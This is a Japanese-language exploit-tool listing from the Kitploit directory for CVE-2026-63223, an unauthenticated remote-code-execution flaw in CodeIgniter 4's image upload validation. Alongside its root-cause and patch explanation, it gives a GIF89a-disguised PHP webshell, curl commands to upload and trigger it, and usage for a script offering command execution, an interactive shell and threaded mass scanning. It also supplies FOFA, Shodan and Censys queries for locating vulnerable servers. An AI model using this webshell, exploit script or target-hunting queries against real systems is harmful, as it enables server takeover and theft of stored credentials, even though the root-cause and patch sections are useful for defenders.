Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-63223 — CVE-2026-63223 — CI4RCE:CodeIgniter 4 is_image/mime_in 文件上传 RCE。魔术字节绕过(getExtension 与 getClientExtension)。CVSS 9.8 | CWE-434 | CI4 < 4.7.4 | Kitploit
ツール/GitHubGitHub/shinthink/cve-2026-63223
ウェブ脆弱性スキャナーペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト
GitHubshinthink/cve-2026-63223

CVE-2026-63223

CVE-2026-63223 — CI4RCE:CodeIgniter 4 is_image/mime_in 文件上传 RCE。魔术字节绕过(getExtension 与 getClientExtension)。CVSS 9.8 | CWE-434 | CI4 < 4.7.4

リポジトリを見る
161ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-63223 — CodeIgniter 4 ファイルアップロード RCE

マジックバイト回避 → is_image/mime_in → PHP ウェブシェル → RCE


概要

CVE-2026-63223 は、PHP フルスタック Web フレームワークである CodeIgniter 4 の 4.7.4 より前のバージョンに影響する、重要度が致命的 (CVSS 9.8) の 未認証 リモートコード実行 (RCE) 脆弱性です。

この脆弱性は、is_image および mime_in ファイルアップロード検証ルールを悪用します。これらのルールは、クライアントが指定したファイル名の拡張子を検証せず、コンテンツから導出された MIME タイプ (マジックバイト) のみを検査します。攻撃者は PHP コードの先頭に画像マジックバイト (GIF89a、JPEG、PNG ヘッダー) を付加し、ファイル名を にして検証を通過させます。ファイルが Web からアクセス可能な PHP 実行ディレクトリに配置されると、RCE に至ります。

shell.php

CVSS: 9.8 CRITICAL — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 発見日: 2026年7月31日 | アドバイザリ: GHSA-mmj4-63m4-r6h5 修正: CodeIgniter 4 v4.7.4

影響を受けるバージョン

バージョンステータス
< 4.7.4脆弱
4.7.4+修正済み

CWE: CWE-434 — 危険なタイプのファイルの無制限アップロード 参照 PoC: imbas007/CVE-2026-63223-POC


脆弱性のメカニズム

根本原因

CodeIgniter 4 の is_image 検証ルールは、getExtension() — マジックバイトから導出された拡張子 (例: gif) — を Mimes::guessTypeFromExtension() に渡し、ファイルが画像かどうかを判定します。クライアントが指定したファイル名の拡張子 (getClientExtension()、例: php) は 一切検査されません:

root@kitploit:~
// VULNERABLE — CI4 4.7.3 FileRules.php
public function is_image(?string $blank, string $params): bool
{
    // ...
    $type = Mimes::guessTypeFromExtension($file->getExtension()) ?? '';
    //      ↑ getExtension() = "gif" (from magic bytes, NOT client filename!)
    if (mb_strpos($type, 'image') !== 0) {
        return false;  // "image/gif" → passes!
    }
    return true;  // never checks getClientExtension() = "php"
}

なぜ機能するのか

  1. getExtension() ≠ getClientExtension() — 前者はマジックバイト (gif) から導出され、後者はクライアントのファイル名 (php) から導出されます
  2. 検証は名前ではなくバイトを信頼します — Mimes::guessTypeFromExtension("gif") が image/gif を返すため、is_image を通過します
  3. ファイルはクライアント名で保存されます — $file->move($path, $file->getClientName()) によって .php 拡張子が保持されます
  4. v4.7.4 より前は相互チェックがありません — クライアント拡張子が検出されたタイプと一致するかどうかの検証が存在しません
  5. Web からアクセス可能なアップロード — デフォルト/公開のアップロードディレクトリが PHP ファイルを直接配信します

攻撃フロー

root@kitploit:~
1. Attacker generates PHP webshell with GIF89a header
   → file(1) reports "GIF image data"
2. POST multipart to vulnerable endpoint (/upload/avatar)
   → is_image validates: image/gif → PASS
   → File saved as shell.php in /uploads/
3. GET /uploads/shell.php?c=id
   → Apache passes .php to PHP-FPM → PHP executes
   → GIF89a output as plaintext, then <?php code runs
4. RCE as www-data

修正 (v4.7.4)

このパッチでは hasInvalidImageClientExtension() が追加され、クライアント の拡張子もチェックされるようになりました:

root@kitploit:~
// PATCHED — v4.7.4+
private function hasInvalidImageClientExtension(UploadedFile $file): bool
{
    $clientExtension = trim(strtolower($file->getClientExtension()), '. ');
    //                   ↑ NOW checks getClientExtension() = "php"!
    if ($clientExtension === '') return false;
    $type = Mimes::guessTypeFromExtension($clientExtension) ?? '';
    //      ↑ Mimes::guessTypeFromExtension("php") → "text/x-php"
    return mb_strpos($type, 'image') !== 0;  // TRUE → REJECT!
}

主な変更点: is_image は現在、getExtension() (コンテンツから導出、実際の画像チェック用) と getClientExtension() (クライアント指定、.php のような画像以外の拡張子を拒否するため) の両方を検証します。


インストール

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-63223.git
cd CVE-2026-63223
pip install requests

使用方法

root@kitploit:~
# Single target
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar

# Custom command
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar -c "cat /etc/passwd"

# Interactive shell
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar --shell

# JPEG variant, custom filename
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar --method jpg --filename wp-admin.php

# Mass scan
python cve_2026_63223.py -f targets.txt -e /upload/avatar --threads 20

引数

root@kitploit:~
  -t, --target       Single target URL
  -f, --file         Target list, one per line
  -e, --endpoint     Vulnerable upload endpoint (default: /upload/avatar)
  --field FIELD      Upload form field name (default: avatar)
  --method {gif,jpg,png}  Magic bytes disguise (default: gif)
  --filename NAME    Shell filename (default: shell.php)
  -c, --command      Shell command to execute (default: id)
  --shell            Interactive pseudo-shell mode
  -o, --output       Save RCE URLs to file
  --threads          Concurrent workers (default: 30)

概念実証 (PoC)

単一ターゲット

root@kitploit:~
$ python cve_2026_63223.py -t ci4-app.com -e /upload/avatar -c "id; hostname"
root@kitploit:~
  Host          : ci4-app.com
  CodeIgniter 4 : YES
  Upload        : YES
  Shell URL     : http://ci4-app.com/uploads/shell.php
  RCE           : YES

  RCE Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
app-server-01

手動での悪用 (curl)

root@kitploit:~
# Generate GIF89a-prefixed PHP webshell
python3 -c "
import sys
php = b'<?php if(isset(\$_REQUEST[\"c\"])){system(\$_REQUEST[\"c\"]);die();} ?>'
sys.stdout.buffer.write(b'GIF89a\n' + php)
" > evil.php

# Upload
curl -F "[email protected];type=image/gif" http://target/upload/avatar

# Execute
curl http://target/uploads/evil.php?c=id

FOFA / Shodan

root@kitploit:~
FOFA:   body="CodeIgniter" && body="Welcome to"
Shodan: http.title:"Welcome to CodeIgniter" http.component:"CodeIgniter"
Censys: services.http.response.body:"debugbar_loader"

影響

悪用に成功すると、Web サーバーユーザーとしてのリモートコード実行 が可能になります:

  • 任意のシステムコマンドの実行
  • .env ファイルからのデータベース認証情報の取得
  • 永続的なバックドアの展開
  • 内部ネットワークへのピボット
  • アプリケーションの改ざんや侵害

アカウントや認証は不要です — ext_in なしで is_image/mime_in を使用するアップロードエンドポイントは、デフォルトで脆弱です。


修正 (v4.7.4)

  1. CodeIgniter 4 v4.7.4 以降にアップグレードする
  2. 回避策: is_image/mime_in を ext_in 検証ルールと組み合わせる
  3. アップロードを Web ルート外 に保存し、readfile() プロキシ経由で配信する
  4. getRandomName() で サーバー制御のファイル名 を生成する

免責事項

教育および許可されたテスト目的のみに使用してください。

明示的な許可なくシステムに対して使用しないでください。著者は誤用に対するいかなる責任も負いません。


参照

リソースリンク
GitHub アドバイザリGHSA-mmj4-63m4-r6h5
参照 PoCimbas007/CVE-2026-63223-POC
NVD エントリCVE-2026-63223
CodeIgniter v4.7.4変更履歴
CWE-434無制限アップロード

CodeIgniter Foundation とは無関係です。

ツールをダウンロード